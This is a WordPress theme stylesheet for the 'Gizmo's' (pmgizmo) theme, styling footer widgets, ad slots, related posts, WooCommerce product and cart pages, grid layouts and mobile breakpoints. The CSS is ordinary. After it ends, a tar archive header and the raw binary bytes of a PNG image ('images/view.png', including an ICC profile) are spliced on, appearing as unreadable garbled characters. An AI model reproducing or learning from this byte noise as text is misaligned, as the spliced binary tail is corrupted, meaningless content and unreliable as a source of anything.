#footer-widgets .widget {
    background: #E8EEF1;
    border: 0.25em solid rgba(0, 0, 0, 0.2);
}
#footer-widgets .widgettitle {
    color: #fff;
    background: #0167AC;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(35, 35, 35, 0.2);
    padding: 0.4em 0;
    margin: 0;
}
#footer-widgets .widget div,
#footer-widgets .widget ul {
    color: #1E3D58;
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #1E3D58;
}
#footer,
#footer-widgets #wp-calendar {
    color: #fff;
}
#footer-text,
#footer-text a:link,
#footer-text a:visited {
    color: #c6c6c6;
}
/*-- Footer --*/
#footer {
    padding: 1em;
    background: #003640;
}
#footer-text {
    float: left;
    font-size: 0.85em;
}
#footer-text a:active,
#footer-text a:hover,
#footernav-menu a:hover {
    text-decoration: underline;
}
/* Footer Navigation Menu */
#footernav-icon {
    display: none;
}
#footernav {
    float: right;
}
#footernav-menu {
    float: left;
    list-style-type: none;
    position: relative;
    font-size: 0.9em;
}
#footernav-menu li {
    float: left;
    position: relative;
    margin-left: 0.65em;
}
#footernav-menu li:before {
    display: inline-block;
    -webkit-font-smoothing: antialiased;
    font: 400 4px/1 dashicons;
    color: rgba(255, 255, 255, 0.5);
    margin-right: 1.75em;
    content: '\f159';
    vertical-align: middle;
}
#footernav-menu li:first-child:before {
    content: none;
}
#footernav-menu a {
    display: inline-block;
    text-decoration: none;
    font-size: 0.9em;
}
#footernav-menu a:link,
#footernav-menu a:visited {
    color: #c6c6c6;
    text-decoration: none;
}
#footernav-menu a:hover{
    color: #fff;
    text-decoration: underline;
}
/*-- Ads --*/
.adtop img {
    height: auto;
    max-width: 100%;
}
.left-ad {
    text-align: left;
}
.center-ad {
    text-align: center;
}
.right-ad {
    text-align: right;
}
.left-adin {
    width: 336px;
    float: left;
    padding: 1.2em 0.5em 0 0;
}
.right-adin {
    width: 336px;
    float: right;
    padding: 0.5em 0 0 0.7em;
}
.center-ad,
.left-ad,
.right-ad {
    padding: 0.5em 0 1em;
}
/*-- 125 Banners --*/
#banner-125 {
    text-align: center;
    display: grid;
    grid-gap: 5px;
    grid-auto-rows: minmax(5px, auto);
    grid-template-columns: repeat(2, 1fr);
}
#banner-125 img {
    border: 1px solid #ddd;
    padding: 5px;
    margin: 7px;
}
#banner-125 img:hover,
.afdsd {
    border: 1px solid #3c3c3c;
}
/*-- Related Posts --*/
.posts-one-column {
    margin: 0 0 1em;
    padding: 0;
    list-style: none;
}
.related-posts-columns.posts-one-column .related-post-column .entry-title {
    display: inline;
    font-size: 1.25em;
    color: #000;
    margin: 0;
    padding: 0;
}
.related-posts-columns.posts-one-column .related-post-column .wp-post-image {
    float: left;
    margin: 0 1em 1em 0;
    padding: 0;
    max-width: 150px;
    outline: #ddd solid 1px;
}
.related-posts-columns.posts-one-column .related-post-column {
    float: left;
    margin-bottom: 1em;
    padding-right: 1em;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    width: 100%;
}
.related-posts-grid {
    margin: 1em 0 0;
}
.afdsd {
    background: #003640;
    -webkit-box-shadow: 0 0 1px #bbb inset;
    box-shadow: 0 0 1px #bbb inset;
    color: #fff;
    font-family: Arial, Helvetica, sans-serif;
    font-size: 0.9em;
    margin: 2em 0 1em;
    padding: 0.9em;
}
.related-posts-grid .reltitle {
    color: #444;
    font-size: 1.25em;
    font-weight: 700;
    margin: 0 0 0.85em;
    padding: 0.45em 0;
    border-bottom: 1px solid #ddd;
}
.related-posts-columns {
    margin-right: -1em;
}
.related-posts-columns .related-post-column {
    float: left;
    margin-bottom: 1em;
    padding-right: 1em;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
.related-posts-one-column .related-post-column {
    width: 100%;
}
.related-posts-two-columns .related-post-column {
    width: 50%;
}
.related-posts-three-columns .related-post-column {
    width: 33.3333333333333%;
}
.related-posts-four-columns .related-post-column {
    width: 25%;
}
.related-posts-four-columns .related-post-column:nth-child(4n+1),
.related-posts-three-columns .related-post-column:nth-child(3n+1),
.related-posts-two-columns .related-post-column:nth-child(2n+1) {
    clear: left;
}
.related-posts-columns .related-post-column .wp-post-image {
    margin: 0 0 0.5em;
    padding: 0;
    outline: #ddd solid 1px;
}
.related-posts-columns .related-post-column .entry-title {
    margin: 0;
    padding: 0;
    font-size: 1.15em;
}
.related-posts-columns .related-post-column .entry-meta {
    margin: 0;
    padding: 0;
    color: #777;
    font-size: 14px;
}
.related-posts-columns .related-post-column .entry-meta .meta-author {
    margin-left: 0.5em;
}
.related-posts-columns .meta-date {
    color: #777;
    font-size: 12px;
}
.related-posts-columns .related-post-column .wp-post-image:hover {
    outline: solid 1px #1C88C8;
}

/* Commons */
.pmthleft {
    text-align: left;
}
.pmthrigth {
    text-align: right;
}
.pmthcenter {
    text-align: center;
}
.pmthjustify {
    text-align: justify;
}
.alignleft {
    float: left;
    display: inline;
    margin: 1em 2em 1em 0;
}
.alignright {
    float: right;
    display: inline;
    margin: 1em 0 1em 2em;
}
.aligncenter {
    margin: 1em auto;
    display: block;
}

/* Products */
.prodimg  {
    float:left;
    margin:0.5em 1.5em 1em 0;
    max-width:340px;
    padding:1em;
    text-align:center;
    -webkit-box-shadow: 0 0 5px 4px rgba(191, 191, 191, 1);
    box-shadow: 0 0 5px 4px rgba(191, 191, 191, 1);
}
.prodimg img  {
    height: auto;
    max-width: 100%;
}
.proprice {
    color:#9b0707;
    font-size: 1.85em;
    padding-bottom:10px;
    text-align:center;
}
.wp_automatic_amazon_review {
    min-height: 500px;
}
.buybox {
    text-align:center;
    margin: 40px auto;
    padding: 25px 25px 0 25px;
    max-width: 420px;
    background-color: #ffffcc;
    border: 4px dashed #9b0707;
}
/* Products List */
.shopbttn {
    width:200px;
    max-width: 100%;
    margin-bottom:10px;
}
.buynowrel {
    color:#fff;
    font-size:11px;
    text-transform:uppercase;
    float:right;
    height:15px;
    padding:8px 5px 4px 23px;
    width:auto;
    min-width:60px;
    background: #0071bc url(images/cart.png) 7px no-repeat;
    margin-bottom:10px;
    margin-left:5px;
    border-radius:3px;
    -webkit-box-shadow:0 6px 6px -6px #777;
    box-shadow: 0 6px 6px -6px #777;
}
.buyprice {
    color: #fff;
    font-size:12px;
    text-transform:uppercase;
    float:left;
    height:15px;
    padding:8px 5px 4px 10px;
    width:auto;
    min-width:40px;
    background:#444 ;
    margin-bottom:10px;
    border-radius:3px;
    -webkit-box-shadow:0 6px 6px -6px #777;
    box-shadow: 0 6px 6px -6px #777;
}
.buynowrel:hover {
    background:#22b573 url(images/cart.png) 7px no-repeat;
}
.viewdts{
    margin: -200px auto 0;
    bottom: 10px;
    height: 200px;
    max-width: 200px;
    width: 100%;
    position: relative;
    z-index: 10;
    float:left;
}
.viewdts:hover{
    background: rgba(0, 0, 0, 0.70) url('images/view.png') center center no-repeat;
}
@media only screen and (min-width:60em) {
    .related-posts-four-columns .related-post-column .viewdts {
        margin: -170px auto 0;
        height: 170px;
    }
}
/* Video */
.vidbox {
    margin:1em auto;
    text-align:center;
}
.vids {
    display:inline-block;
    padding:1em;
    -webkit-box-shadow: 0 0 5px 3px rgba(191, 191, 191, 1);
    box-shadow: 0 0 5px 3px rgba(191, 191, 191, 1);
}
.vid-title {
    font-size: 1.35em;
    text-align: center;
}
.play {
    background: url('images/ytplay.png') center center no-repeat;
    margin: -200px 10px 0 0;
    height: 200px;
    position: relative;
    z-index: 10;
}
/*-- WooCommerce --*/
/* Product thumbnails */
.woocommerce ul.products li.product a img {
    margin: 0;
    border: 1px solid #d3ced2;
    padding: 0.35em;
    overflow: hidden;
    transition: transform .5s ease;
}
.woocommerce ul.products li.product a img:hover {
    transform: scale(1.05);
    z-index: 999;
}
.woocommerce ul.products li.product a:hover {
    text-decoration: underline;
}
.woocommerce ul.products li.product .button {
    font-size: 0.95em;
    margin-top: 0.25em;
    background: #353535;
    color: #f5f5f5;
}
/* Product Content */
.woocommerce div.product .product_title {
    font-size: 1.65em;
    line-height: 1.05em;
    padding: 0 0 0.37em;
    font-weight: 700;
    color: #2c2c2c;
    word-wrap: break-word;
}
.woocommerce #respond input#submit.alt,
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt {
    background-color: #008000;
    color: #fff;
}
.woocommerce #respond input#submit.alt:hover,
.woocommerce a.button.alt:hover,
.woocommerce button.button.alt:hover,
.woocommerce input.button.alt:hover {
    background-color:#3B5998;
    color:#fff
}
.woocommerce div.product p.price,
.woocommerce div.product span.price {
    margin-bottom: 0.5em;
    color: #A61919;
}
.woocommerce div.product form.cart .variations select {
    padding: 0.3em 0 0.3em 0.5em;
    font-size: 0.95em;
    margin-bottom: 0.3em;
}
.woocommerce div.product div.images .flex-control-thumbs li img {
    width: 85%;
    border: 1px solid #ddd;
    padding: 3px;
    margin: 3px;
}
.related-items {
    background: linear-gradient(#e9eaed, #f3f3f3) rgba(0, 0, 0, 0);
    font-size: 1.25em;
    text-transform: uppercase;
    padding: 0.5em;
    margin: 0 0 0.55em;
    color: #2c2c2c;
}
.product-title {
    color: #24445d;
    font-size: 1em;
    font-weight: 500;
}
#footer-widgets .product-title {
    color: #f9f9f9;
}
div.ppt {
    font-size: 22px;
}
.woocommerce #reviews #comments h2,
.woocommerce #commentform label {
    font-size: 20px;
    margin: 1em 0;
}
/* Product Shop */
.woocommerce .woocommerce-ordering {
    margin: 0 0 1.5em;
}
.woocommerce .woocommerce-ordering select {
    padding: 0.3em 0 0.3em 0.5em;
    font-size: 0.95em;
}
.woocommerce-variation-availability {
    margin: 0.5em 0 0.9em;
}
.woocommerce .quantity .qty {
    padding: 0.45em;
}
/* Product Widgets */
.woocommerce ul.cart_list li,
.woocommerce ul.product_list_widget li {
    margin: 0 auto 8px;
    border-bottom: 1px solid #d3ced2;
}
.woocommerce ul.cart_list li img,
.woocommerce ul.product_list_widget li img {
    float: left;
    margin-right: 7px;
    width: 74px;
    border: 1px solid #d3ced2;
}
.woocommerce ul.cart_list li dl,
.woocommerce ul.product_list_widget li dl {
    border-left: 0;
    float: left;
    margin: 0;
    padding: 0 0.5em 0 0;
}
.woocommerce .widget_shopping_cart .total,
.woocommerce.widget_shopping_cart .total {
    padding: 0.75em 0;
}
.widget .product-categories li {
    margin: 0;
    padding: 5px;
    border-bottom: 1px solid #d3ced2;
}
.widget .product-categories li:first-child {
    padding-top: 0;
}
.woocommerce ul.products li.product .price {
    color: #3B5998;
    margin-bottom: 0.5em;
    font-size: 0.957em;
}
/* Cart */
.woocommerce-cart table.cart img {
    min-width: 75px;
}
.woocommerce-page #content table.cart td.actions .input-text {
    min-width: 110px;
    margin: 4px;
}
/* Cart Totals */
.woocommerce .cart-collaterals .cart_totals,
.woocommerce-page .cart-collaterals .cart_totals {
    width: 58%;
}
.woocommerce .cart-collaterals .cart_totals h2 {
    margin: 0.4em 0 0.3em;
}
.woocommerce-cart .cart-collaterals .cart_totals table td,
.woocommerce-cart .cart-collaterals .cart_totals table th {
    padding: 0.45em 0 0.45em 0.7em;
}
/* Checkout */
.woocommerce form .form-row textarea {
    height: 5em;
}
.pmthemes_amazon_disclaimer {
    text-decoration: underline;
    cursor: default;
}
/* Grid */
.pmth-grid {
    display: grid;
    gap: 2em;
    align-items: normal;
    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
}
/* Traditional Archive Display */
.one-column {
    grid-template-columns: repeat(1, 1fr);
}
/* Item Width */
.one-hundred {
    grid-template-columns: repeat(auto-fill, minmax(100px, 1fr));
}
.one-fifty {
    grid-template-columns: repeat(auto-fill, minmax(150px, 1fr));
}
.two-hundred {
    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
}
.two-fifty {
    grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
}
.three-hundred {
    grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
}
.three-fifty {
    grid-template-columns: repeat(auto-fill, minmax(350px, 1fr));
}
@media only screen and (min-width: 480px) {
    .four-hundred {
        grid-template-columns: repeat(auto-fill, minmax(400px, 1fr));
    }

    .four-fifty {
        grid-template-columns: repeat(auto-fill, minmax(450px, 1fr));
    }

    .five-hundred {
        grid-template-columns: repeat(auto-fill, minmax(500px, 1fr));
    }
}
/* if column number specific - applicable for desktops/large screens */
@media only screen and (min-width: 960px) {
    .one-col {
        grid-template-columns: repeat(1, 1fr);
    }
    .two-col {
        grid-template-columns: repeat(2, 1fr);
    }
    .three-col {
        grid-template-columns: repeat(3, 1fr);
    }
    .four-col{
        grid-template-columns: repeat(4, 1fr);
    }
    .five-col {
        grid-template-columns: repeat(5, 1fr);
    }
    .six-col {
        grid-template-columns: repeat(6, 1fr);
    }
    .seven-col {
        grid-template-columns: repeat(7, 1fr);
    }
    .eight-col {
        grid-template-columns: repeat(8, 1fr);
    }
    .nine-col {
        grid-template-columns: repeat(9, 1fr);
    }
    .ten-col {
        grid-template-columns: repeat(10, 1fr);
    }
    .eleven-col {
        grid-template-columns: repeat(11, 1fr);
    }
    .twelve-col {
        grid-template-columns: repeat(12, 1fr);
    }
}
.pmth-grid .post-title {
    font-size: 1.35em;
}
.pmth-grid.one-column .post-title {
    font-size: 1.75em;
}
.fullpost .pmth-grid.one-col,
.fullpost .pmth-grid.one-column {
    display: block;
}
.pmth-grid > article {
    border: 1px solid #ddd;
    padding: 1em;
    margin-bottom: 1em;
}
/* Grow */
.grow {
    overflow: hidden;
    transition: transform .5s ease;
}
.grow:hover{
    transform: scale(1.05);
    z-index: 999;
}

@media (min-width: 480px) and (max-width: 960px) {
    ul.product_list_widget,
    .widget-tabbed .tabdiv ul {
        display: grid;
        gap: 1em;
        align-items: top;
        grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
    }
}


/* Gizmo's
------------------------------------------- 
// Color Pallete: https://www.canva.com/colors/color-palettes/way-up-north/
*/
/* Header */
.header-line {
    border-top: 15px solid #0C263D;
}
#topheader,
#topnav {
    background: #057DCD;
}
/* Main Navigation */
#navi-wrap {
    background: #1E3D58;
}
/* Front Page */
#frontpage-magazine-widgets .widget .widgettitle {
    font-size: 0.95em;
    padding: 0.8em 1em;
    background: #1C88C8;
    color: #fff;
}
/* Widgets */
.widgettitle {
    color: #fff;
    background: #1C88C8;
    font-size: 0.95em;
    font-weight: 400;
    text-transform: uppercase;
    font-family: Arial, Helvetica, sans-serif;
    padding: 0.8em 1em;
    margin: -0.5em -0.5em 1em;
}
/* Footer */
#footer {
    color: #fff;
    background: #0C263D;
}
#footer-widgets #wp-calendar {
    color: #fff;
}
#footer-text,
#footer-text a:link,
#footer-text a:visited {
    color: #c6c6c6;
}

/*=== MEDIA QUERIES ===*/
/* Smaller screens | <1120px */
@media only screen and (max-width:65em) {
    .footer-widgets-ins {
        float: left;
        width: 100%;
        padding-right: 1em;
        -webkit-box-sizing: border-box;
        box-sizing: border-box;
    }
    .footer-widget-column-1 {
        float: none;
        padding-right: 0;
    }
    .footer-widget-column-4 {
        float: left;
        width: 50%;
        padding-right: 0;
        display: inline;
    }
}
@media only screen and (min-width:60em) {
    #sidebar .widget ins {
        width: 300px;
        height: 250px;
        margin: 0 auto;
    }
    .search-form-top {
        width: 400px;
    }
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width:60em) {
    #wrapper,
    .stickynav,
    .wide-header #wrap {
        width: 100%;
        margin: 0;
    }
    .wide-header #header {
        padding: 0.5em;
    }
    #header {
        -webkit-box-orient: vertical;
        -webkit-box-direction: normal;
        -ms-flex-direction: column;
        flex-direction: column;
        padding: 0.5em;
    }
    .navhdr #header {
        -ms-flex-direction: row;
        flex-direction: row;
        align-items: normal;
        padding: 0.5em;
    }
    #logo {
        max-width: 100%;
        margin: 0 auto;
        padding: 0.1em 0;
    }
    .navhdr #logo {
        margin: 0;
    }
    #logo .site-title  {
        float: none;
        padding: 0.1em 0;
    }
    #logo .site-description {
        text-align: center;
        float: none;
    }
    #header-banner {
        max-width: 100%;
        margin: 0.25em 0;
    }
    .stickynav {
        display: none!important;
    }
    .search-form-top {
        top: 46px;
    }
    .search-icon:before,
    .search-icon:visited:before,
    .search-icon:active:before{
        padding: 0.4em;
    }
    .wide-header #content-wrap {
        border: 0;
        margin: 0 auto;
    }
    #frontpage-slider .pmsslide .slide-entry .slide-title {
        font-size: 1.5em;
    }
    #content {
        float: none;
        width: 100%;
    }
    #sidebar {
        clear: both;
        margin: 2em 0 0;
        width: 100%;
        padding: 1em;
    }
    #sidebar .widget {
        float: none;
    }
    #banner-125 {
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        -ms-flex-wrap: wrap;
        flex-wrap: wrap;
        -webkit-box-pack: center;
        -ms-flex-pack: center;
        justify-content: center;
    }
    .entry {
        margin: 1.4em 0;
    }
    .comment p,
    .entry p {
        font-size: 1.175em;
        line-height: 1.655em;
    }
    /* Small menu */
    .menu-toggle {
        cursor: pointer;
        display: inline-block;
        font-family: Arial, Helvetica, sans-serif;
        text-transform: uppercase;
        margin: 0;
    }
    .menu-toggle,
    .menu-toggle:active,
    .menu-toggle:focus,
    .menu-toggle:hover {
        background: 0 0;
        border: none;
        color: #fff;
        padding: 10px 20px;
    }
    .menu-toggle:focus {
        outline: none;
    }
    .menu-toggle:after {
        float: left;
        content: "\f333";
        font: 400 26px/1 'dashicons';
        font-size: 26px;
    }
    .menu-text {
        padding: 5px 0 5px 5px;
        font-size: 14px;
        display: inline-block;
    }
    .toggled-on .menu-toggle:after {
        content: "\f158";
    }
    .toggled-on .nav-menu,
    .toggled-on .nav-menu>ul {
        display: block;
        margin-left: 0;
        padding: 0;
        width: 100%;
    }
    .toggled-on .children,
    .toggled-on li {
        display: block;
        border-top: 1px solid rgba(255, 255, 255, 0.3);
    }
    .toggled-on .nav-menu li>ul {
        background-color: transparent;
        display: block;
        float: none;
        margin-left: 20px;
        position: relative;
        left: auto;
        top: auto;
    }
    .toggled-on .nav-menu li>ul a {
        color: #fff;
        width: auto;
    }
    .toggled-on .nav-menu .children a,
    .toggled-on .nav-menu li:hover>a {
        background-color: transparent;
        color: #fff;
    }
    .toggled-on .nav-menu>li a:hover,
    .toggled-on .nav-menu>ul a:hover {
        background-color: #121212;
        color: #fff;
    }
    .toggled-on .nav-menu>li a:focus,
    .toggled-on .nav-menu>ul a:focus {
        background-color: #220e10;
        color: #fff;
    }
    .toggled-on .nav-menu .children,
    .toggled-on .nav-menu .sub-menu {
        background-color: #303030;
        border: 0;
        padding: 0;
    }
    .toggled-on .nav-menu ul ul a,
    .toggled-on ul.nav-menu ul a {
        border-top: 0;
    }
    div.nav-menu>ul,
    ul.nav-menu {
        display: none;
    }
    .nav-menu li {
        float: none;
    }

    /*-- Main Navigation Menu When on Header Beside Title (Mobile) --*/
    #header #navi-wrap {
        color: #3c3c3c;
        background: transparent;
        position: absolute;
        right: 0;
        z-index: 999;
    }
    #header .main-navigation {
        align-items: end;
    }
    #header ul.nav-menu {
        background: #0096b3;
    }
    #header .menu-toggle {
        color: #3c3c3c;
        padding: 12px;
    }
    #header .search-top {
        right: 6.55em;
    }
    #header .search-icon:before {
        color: #3c3c3c;
        padding: 0.4em 0;
    }

    .widget-category-posts .type-post .post-title {
        font-size: 1.75em;
    }
    .widget-category-posts .small-post .post-title {
        font-size: 1.1em;
    }
    #footer-text {
        margin: 0.2em 2em 1.2em 1em;
        width: 90%;
    }
    #footernav {
        float: left;
        width: 90%;
    }
    .wide-header #footer {
        padding: 1.2em;
    }
    .amzn_wdgt {
        width: 85% !important;
    }
    .scrollToTop {
        bottom: 50px;
    }
}
/* Tablets (portrait) | <800px */
@media only screen and (max-width:50em) {
    #topnav-icon,
    #topnav-icon:hover:after,
    #topnav-menu a {
        text-decoration: none;
    }
    .footer-widgets-ins {
        float: none;
        width: 100%;
        padding-right: 0;
    }
    .footer-widget-column-1,
    .footer-widget-column-2 {
        padding-right: 1em;
    }
    .footer-widget-column-3 {
        float: none;
        width: 100%;
        padding-right: 1em;
    }
    .footer-widget-column-4 {
        float: none;
        width: 100%;
        padding-right: 1em;
        display: block;
    }
    .entry {
        margin: .4em 0;
    }
    .related-posts-four-columns .related-post-column {
        width: 50%;
    }
    .related-posts-four-columns .related-post-column:nth-child(2n+1) {
        clear: left;
    }
    .prodimg  {
        float:none;
        margin:1em;
        max-width:100%;
    }
    /* Mobile Top Navigation */
    #topnav-icon,
    #topnav-icon:hover:after,
    #topnav-menu a {
        text-decoration: none;
        background: 0 0;
        border: none;
    }
    /* Reset */
    #topnav,
    #topnav-menu,
    #topnav-menu a,
    #topnav-menu li,
    #topnav-menu ul {
        margin: 0;
        padding: 0;
        position: static;
        float: none;
        display: inline;
        font-size: 1em;
        border: none;
        -webkit-box-shadow: none;
        box-shadow: none;
        background: 0 0;
        top: 0;
        left: 0;
    }
    #topnav {
        float: none;
        width: 100%
    }
    #topnav-icon {
        display: inline-block;
        padding: 8px 20px;
        font-size: 14px;
        color: #fff;
        background: 0 0;
        border: none;
        text-transform: uppercase;
    }
    #topnav-icon:hover {
        cursor: pointer;
        text-decoration: none;
    }
    #topnav-icon:focus{
        outline: none;
    }
    #topnav-icon:after {
        float: left;
        margin-right: 0.2em;
        -webkit-font-smoothing: antialiased;
        content: '\f333';
        font: 400 24px/1 "dashicons";
        text-decoration: inherit;
    }
    .active#topnav-icon:after {
        content: '\f158';
    }
    .top-menu-text {
        padding: 3px 0;
        display: inline-block;
    }
    #topnav-menu {
        width: 100%;
        display: none;
        border-top: 1px solid rgba(255, 255, 255, 0.2);
        background: #8C4114;
    }
    #topnav-menu a {
        display: block;
        padding: .7em 1em;
        font-size: 1.15em;
        border-bottom: 1px solid rgba(255, 255, 255, 0.2);
        clear: left;
    }
    #topnav-menu a:hover {
        background: #0062A3;
    }
    #topnav-menu .children,
    #topnav-menu .sub-menu {
        border: none;
        display: block;
        position: inherit;
    }
    ul#topnav-menu ul a {
        border-top: none;
        margin: 0 0 0 5px;
        width: 100%;
    }
    #topnav-menu ul ul a {
        border-top: none;
        margin: 0 0 0 12px;
        width: 100%;
    }
    #header-social-icons {
        position: absolute;
        right: 10px;
        top: 6px;
    }
    .comment h1,
    .entry h1 {
        font-size: 2.2em;
    }
    .comment h2,
    .entry h2 {
        font-size: 1.8em;
    }
    .comment h3,
    .entry h3 {
        font-size: 1.4em;
    }
    .entry thead th,
    .entry tr td, .entry tr th {
        padding: .2em .4em;
    }
    .widget-category-posts .small-post .post-title {
        font-size: 1em;
    }
    .nomobile {
        display: none;
    }
    .woocommerce ul.products li.product a img {
        padding: .25em;
    }
}
/* Phablets (portrait) | <640px */
@media only screen and (max-width:40em) {
    .type-attachment,
    .type-page,
    .type-post,
    .widget-category-posts .type-post {
        margin: 0 0 1em;
    }
    .shopbttn {
        margin:0 auto 10px;
    }
    /* Mobile Footer Navigation */
    /* Reset */
    #footernav-icon,
    #footernav-icon:hover:after,
    #footernav-menu a {
        text-decoration: none;
    }
    #footernav-icon:hover,
    #footernav-menu a:hover {
        text-decoration: underline;
    }
    #content {
        padding: 1em 1em 0;
    }
    .page-title {
        font-size: 2em;
    }
    .post-title {
        font-size: 1.4em;
    }
    #footer-widgets {
        padding-top: 0.5em;
        padding-left: 0.5em;
    }
    .footer-widget-column-1,
    .footer-widget-column-3,
    .footer-widget-column-4 {
        padding-right: 0.5em;
    }
    .footer-widget-column-2 {
        float: none;
        width: 100%;
        padding-right: 0.5em;
    }
    /* Frontpage Categories */
    #widget-category-posts-grid .category-posts-grid-row {
        margin-right: 0;
    }
    #widget-category-posts-boxed .big-post,
    #widget-category-posts-columns .category-posts-column-left,
    #widget-category-posts-grid .category-posts-grid-row .big-post,
    #widget-category-posts-grid .category-posts-grid-row .small-post-wrap {
        float: none;
        width: 100%;
        padding-right: 0;
    }
    #widget-category-posts-boxed .small-posts,
    #widget-category-posts-columns .category-posts-column-right {
        width: 100%;
        margin-left: 0;
        padding-left: 0;
    }
    #widget-category-posts-boxed .small-posts {
        padding-bottom: .5em;
    }
    #widget-category-posts-columns .category-posts-column-right {
        margin-top: 1.5em;
    }
    #footernav,
    #footernav-menu,
    #footernav-menu a,
    #footernav-menu li,
    #footernav-menu ul {
        margin: 0;
        padding: 0;
        position: static;
        float: none;
        display: inline;
        font-size: 1em;
        border: none;
        -webkit-box-shadow: none;
        box-shadow: none;
        background: 0 0;
        top: 0;
        left: 0;
    }
    #footernav {
        float: left;
    }
    #footernav-icon {
        display: block;
        font-size: 0.9em;
        color: #fff;
        margin-left: 2em;
    }
    #footernav-icon:hover {
        cursor: pointer;
    }
    #footernav-icon:after {
        margin: 0.05em 0 0 1em;
        -webkit-font-smoothing: antialiased;
        display: inline-block;
        content: '\f333';
        font: 400 14px/1 "dashicons";
        text-decoration: inherit;
        vertical-align: text-bottom;
    }
    .active#footernav-icon:after {
        content: '\f158';
    }
    #footernav-menu {
        display: none;
        width: 100%;
        padding-bottom: 1em;
    }
    #footernav-menu li {
        display: inline;
        padding: 0.8em 0.4em;
    }
    #footernav-menu a {
        display: inline-block;
        font-size: 0.9em;
    }
}
@media only screen and (max-width:35em) {
    .related-posts-three-columns {
        margin: 0;
    }
    .related-posts-three-columns .related-post-column {
        float: none;
        width: 100%;
        padding-right: 0;
    }
    .related-post-column {
        text-align: center;
    }
    .viewdts {
        float: none;
    }
}
/* Smartphones | <480px */
@media only screen and (max-width:30em) {
    .scrollToTop {
        width: 30px;
        height: 30px;
    }
    .scrollToTop:before {
        font-size: 24px;
        padding: 4px 0;
    }
    .alignleft,
    .alignright {
        float: none;
        margin: 1em 0;
    }
    .comment p,
    .entry p {
        font-size: 1.05em;
        line-height: 1.65em;
    }
    #footer-text {
        float: none;
        margin: 0.15em 0 1.2em 1em;
    }
    .center-ad,
    .left-ad,
    .right-ad {
        text-align: center;
    }
    .left-adin,
    .right-adin {
        width: 100%;
        float: none;
        text-align: center;
    }
    .woocommerce ul.products li.product,
    .woocommerce-page ul.products li.product {
        width: 46%;
        float: left;
        clear: both;
        margin: 0 0 1.992em;
    }
    .woocommerce ul.products li.product:nth-child(2n),
    .woocommerce-page ul.products li.product:nth-child(2n) {
        float: right;
        clear: none !important;
    }
}
@media only screen and (max-width:25em) {
    #widget-category-posts-single .single-post .wp-post-image {
        float: none;
    }
    .sideleft,
    .sideright {
        width: 100%;
        float: none;
    }
    .related-posts-four-columns,
    .related-posts-two-columns {
        margin: 0;
    }
    .related-posts-four-columns .related-post-column,
    .related-posts-two-columns .related-post-column {
        float: none;
        width: 100%;
        padding-right: 0;
    }
    .posts-one-column .wp-post-image {
        float: none;
        margin: 0 0 0.5em;
        max-width: 100%;
    }
}
/* Smartphones | <320px */
@media only screen and (max-width:20em) {
    #header-social-icons {
        display: none;
    }
    .postinfo span,
    .postmeta span {
        display: block;
    }
    .widget-category-posts .small-post .post-title {
        font-size: 0.9em;
    }
    .widget-category-posts .small-post .wp-post-image {
        width: 33%;
    }
    .woocommerce #respond input#submit,
    .woocommerce a.button,
    .woocommerce button.button,
    .woocommerce input.button {
        font-size: 85%;
    }
    .search-form-top {
        width: 250px;
    }
}
@media only screen and (min-width:50em) {
    /* Ensure #topnav, #footernav is visible on desktop version */
    #footernav-menu,
    #topnav-menu {
        display: block !important;
    }
}pmgizmo/images/view.png000064400000012500152223213640011151 0ustar00�PNG


IHDR�z]��	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
